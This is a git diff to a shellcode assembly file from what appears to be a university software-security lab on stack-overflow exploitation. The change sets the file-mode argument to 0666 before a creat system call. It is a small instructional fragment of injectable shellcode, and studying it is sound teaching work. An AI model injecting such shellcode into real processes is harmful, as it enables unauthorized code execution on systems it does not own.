diff --git a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/shellcode.S b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/shellcode.S index dc90d04..1c771d2 100644 --- a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/shellcode.S +++ b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/shellcode.S @@ -8,10 +8,9 @@ p: xorq %rdi, %rdi pop %rdi #shr $0x8, %rdi - push $0xfffffffffffffd66 + push $0x1b6 xor %rsi, %rsi pop %rsi - neg %rsi push $85 pop %rax syscall